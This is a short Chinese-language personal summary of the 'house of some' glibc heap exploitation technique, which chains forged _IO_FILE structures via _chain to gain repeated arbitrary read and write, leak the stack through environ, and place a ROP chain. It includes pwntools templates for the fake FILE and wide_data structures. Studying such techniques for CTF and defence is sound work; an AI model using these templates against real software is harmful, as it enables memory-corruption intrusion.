house of some

来源于大佬:https://blog.csome.cc/p/house-of-some/,本文为个人小结,如有问题请斧正,侵删

简介

house of some是house of apple2的改进链,想法是通过chain来进行FSOP,造成多次任意地址读写,从而可以做到指哪打哪。这个链条个人觉得比之apple2最大的好处是扩展性强,因为高版本的setcontext改寄存器的方式很难找到gadget来首先修改rdx了,而这条链可以直接在栈上搞rop,具有更广泛的应用空间。

思路

house of apple2中最常用的链是:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

通常是通过控制_wide_vtable+0x68来进行程序流执行的控制的,这样做具有很大的缺陷:一方面由于版本不同,有的版本在禁止execve后很难找到gadget从而执行orw;另一方面高版本对_wide_vtable进行检查的话,就没有办法控制虚表了。

作者在这里思考了在具有检查的时候,如果只能选择虚表内的函数,应当怎么做。

作者考虑了虚表内的函数_IO_new_file_underflow,它会调用_IO_SYSREAD(fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base),在可控的情况下完全可以任意地址写。而在程序执行之后的_IO_flush_all中,会通过_chain串起来的单向链表调用每个file块的_IO_OVERFLOW(fp,EOF)

于是只要在第一次任意地址写的同时,通过构造_chain为一串想要的IO_file块,就可以做到想要次数的任意地址读写

这里给出作者写的任意地址写和读的file模板:

fake_file_read = flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr
    
    0x38: 任意地址写的起始地址, # _IO_buf_base
    0x40: 任意地址写的终止地址, # _IO_buf_end
    
    0x70: 0, # _fileno
    0x82: b"\x00", # _vtable_offset
    0xc0: 2, # _mode
    0xa0: wide_data的地址, # _wide_data
    0x68: 下一个调用的fake file地址, # _chain
    0xd8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")

fake_wide_data = flat({
    0xe0: _IO_file_jumps - 0x48,
    0x18: 0,
    0x20: 1,
    0x30: 0,
}, filler=b"\x00")
fake_file_write = flat({
    0x00: 0x800 | 0x1000, # _flags
    
    0x20: 需要泄露的起始地址, # _IO_write_base
    0x28: 需要泄露的终止地址, # _IO_write_ptr

    0x70: 1, # _fileno
    0x68: 下一个调用的fake file地址, # _chain
    0xd8: _IO_file_jumps, # vtable
}, filler=b"\x00")

通过串联多个file的任意地址读写,就可以做到泄露environ,然后在栈上泄露返回地址,从而做到栈上写rop执行的过程。非常的强大!

作者还给了个自动化脚本:https://github.com/CsomePro/Some-of-House 暂未研究过咋用的。